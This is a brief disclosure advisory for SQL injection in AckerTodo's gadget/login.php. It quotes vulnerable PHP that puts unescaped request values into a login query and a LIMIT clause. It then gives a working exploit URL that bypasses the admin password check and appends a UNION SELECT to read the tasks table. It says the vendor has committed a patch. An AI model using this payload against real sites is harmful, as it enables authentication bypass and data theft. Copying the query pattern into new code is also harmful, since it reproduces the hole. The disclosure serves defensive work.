vendor: http://ackertodo.sourceforge.net/site2/index.html
File: gadget/login.php

Exploiting this issue could allow an attacker to access sensible data.

Vuln code:
$user_login = trim($_REQUEST['up_login']);
$user_pass = trim($_REQUEST['up_pass']);
$num_tasks = trim($_REQUEST['up_num_tasks']);

and after...
$result = db_query("SELECT * FROM ".$table_prefix."users "
."WHERE login='$user_login' "
."AND password=md5('$user_pass')");

and after...

$sql = $sql . ' LIMIT ' . $num_tasks;

Exploit:
http://site.com/gadget/login.php?up_login=admin&up_pass=wrongpass')%20or
%20(%20'1'%20=%20'1'%20AND%20login%20=%20'admin&up_num_tasks=100%20UNION
%20select%20*%20FROM%20tasks

Vendor has been informed and a patch has been committed into cvs
